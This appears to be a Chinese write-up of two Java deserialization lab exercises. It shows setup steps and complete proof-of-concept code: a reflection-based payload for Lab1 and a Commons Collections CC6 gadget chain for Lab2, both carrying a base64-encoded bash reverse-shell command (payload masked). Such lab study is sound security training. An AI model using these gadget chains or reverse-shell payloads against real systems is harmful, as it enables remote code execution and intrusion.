JavaDeserializeLabs01-Lab1&Lab2

0x00 前言

Lab1和Lab2算是对Java反序列化基础和CC链的锻炼,还学到了很多知识。

0x01 入手

搭建环境

JavaDeserializeLabs既可以本地直接用Class文件起服务,也可以在Docker上起服务,当然也可以复刻Java文件再起服务——便于调试。

第一种和第三种方法都是在本地起服务,因为JavaDeserializeLabs是由springboot启动的,所以需要先搭建springboot环境。

  1. 搭建springboot环境,类型是maven,jdk用1.8,java用8

image-20241231105251378

  1. springboot用 2.* , 因为3.* 之上的不兼容Java8;勾选spring web,然后创建

image-20241231105348524

  1. 创建lib文件夹,将对应的jar包拷贝至此,先解压再入库

image-20241231105725654

  1. 查看、启动项目:

image-20241231105843933

我比较习惯用第三种方法:复刻项目,本地调试(多的文件是自己新建的,不影响题目运行)

image-20241231105956110

至于在Docker上如何运行题目,只需要一个口令:

1
docker-compose up -d

0x02 Lab1

源码

前端页面

image-20241231153710611

第一步永远是先看懂源码!

image-20241231153535713

先把十六进制的data转换成字节数组,然后是很常规的反序列化。

再看看其他的类:

Calc是可以利用的类

image-20241231153904171

Utils类封装了一些相关的函数。

思路

很简单的反序列化,通过反射修改两个属性即可。首先想尝试反弹shell,但是实操之后发现并不行,这是因为Runtime.exec方法不是shell环境:

image-20241231155310396

利用国光师傅的Bash-2编码即可:(去掉多余的空格,只能存在两个必要的空格)

image-20241231154632362

如此即可弹shell,给出Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.yxxx.javasec.deserialize;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import static com.yxxx.javasec.deserialize.Utils.bytesTohexString;

public class Main {
public static void main(String[] args) throws Exception {
Calc calc = new Calc();

Class<? extends Calc> calcClass = calc.getClass();
Field canPopCalcField = calcClass.getDeclaredField("canPopCalc");
canPopCalcField.setAccessible(true);
canPopCalcField.set(calc, true);
Field cmdField = calcClass.getDeclaredField("cmd");
cmdField.setAccessible(true);
cmdField.set(calc, "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);
byte[] poc = byteArrayOutputStream.toByteArray();
String string = bytesTohexString(poc);
System.out.println(string);
}
}

0x03 Lab2

源码

image-20241231155607201

Lab2没有Calc类了,但是有cc链:

image-20241231155656598

思路

本题需要先序列化String和Int的对象,而且必须严格按照题目所给的顺序,给出Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.yxxx.javasec.deserialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

import static com.yxxx.javasec.deserialize.Utils.objectToHexString;


public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map decoratedMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap, "111");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry, "222");
decoratedMap.remove("111");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(map1);
objectOutputStream.close();
System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
byteArrayOutputStream.close();
}
}

0x04 小结

题目很简单,写得比较粗糙。